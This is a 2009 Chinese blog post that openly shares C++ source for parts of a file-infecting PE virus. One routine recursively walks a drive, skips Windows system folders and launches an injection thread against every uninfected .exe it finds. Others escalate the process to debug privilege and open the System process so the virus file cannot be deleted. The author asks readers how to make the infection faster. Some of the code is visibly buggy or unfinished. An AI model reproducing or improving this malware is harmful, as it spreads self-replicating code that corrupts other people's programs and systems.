您的位置:首页 > 其它

PE型感染病毒 —— 遍历磁盘PE文件 (2)

2009-12-19 17:07 447 查看
自己在测试过程中,感觉效率不是很好,所以希望哪位大佬能提出宝贵的意见,在此深表感谢!

 

1、遍历磁盘中PE文件


/************************************************************************/
/* 函数说明:遍历感染指定驱动器中所有exe文件
/* 参    数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma   2009.12.18 23:55
/************************************************************************/
int EmuDiskFiles(LPCTSTR lpStr)
{
CFileFind	fd;
CString		strWild(lpStr);
CString		str = fd.GetFilePath();	        // 获取每个文件的绝对路径
int			nTemp = 0;				        // 最大启动5个线程同时感染
BOOL		bRet;
HANDLE		hThread;
DWORD		dwTid;
strWild += _T("//*.*");						// 查找类型
bRet = fd.FindFile(strWild);				// 开始查找
while (bRet){								// 如果不为空,继续遍历
ReEmu:		bRet = fd.FindNextFile();			// 查找下一个文件
if(fd.IsDots())							// 过滤目录自身与上层目录
continue;
else if(fd.IsDirectory()){				// 判断是否为文件夹
CString str = fd.GetFilePath();		// 获取文件夹路径
EmuDiskFiles(str);					// 继续遍历子目录
}
else
{
int nTemp1 = str.Find("WINDOWS");	// 如果是XP系统目录则跳过
int nTemp2 = str.Find("WINNT");	// 如果是WIN2000系统目录也跳过
if(nTemp1>0 || nTemp2>0)
goto ReEmu;
if(str.Find(".exe")>0){			// 判断是否为exe扩展名
if(!IsInfect(str))				// 判断是否感染过
{
di.m_strFilePath = str;	    // 设置感染文件的绝对路径
hThread = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadInject,(LPVOID)(&diInject),NULL,&dwTid);
WaitForSingleObject(hThread,INFINITE);
//InfectPE(str);
}
continue;
}
}
Sleep(10000);                           // 10秒种遍历一个文件
}
return 0;
}


 

2、进程提权、保护文件


/************************************************************************/
/* 函数说明:提升进程权限到debug权限
/* 参    数:无
/* 返 回 值:无
/* By:Koma   2009.12.17 21:20
/************************************************************************/
void RaiseToDebug()
{
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess();		// 获取当前进程句柄

// 打开当前进程的Token,就是一个权限令牌,第二个参数可以用TOKEN_ALL_ACCESS
if (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
TOKEN_PRIVILEGES tkp;
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
{
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

//通知系统修改进程权限
BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
}
CloseHandle(hToken);
}
}
/************************************************************************/
/* 函数说明:保护文件防止被轻易删除
/* 参    数:无
/* 返 回 值:无
/* By:Koma   2009.12.17 21:42
/************************************************************************/
BOOL OccupyFile(LPCTSTR lpFileName)
{
RaiseToDebug();								// 提升权限

// 打开syetem进程,打开前必须赋予PROCESS_DUP_HANDLE权限
HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);
if (hProcess == NULL)
{
hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 8);
if (hProcess == NULL)
return FALSE;
}

HANDLE hFile = NULL;
HANDLE hTargetHandle = NULL;

// 创建一个文件,当然这个文件可以是本来就存在的
hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_EXECUTE | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if (hFile == INVALID_HANDLE_VALUE)
{
// 文件创建或打开失败
CloseHandle( hProcess );
return FALSE;
}
return TRUE;
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息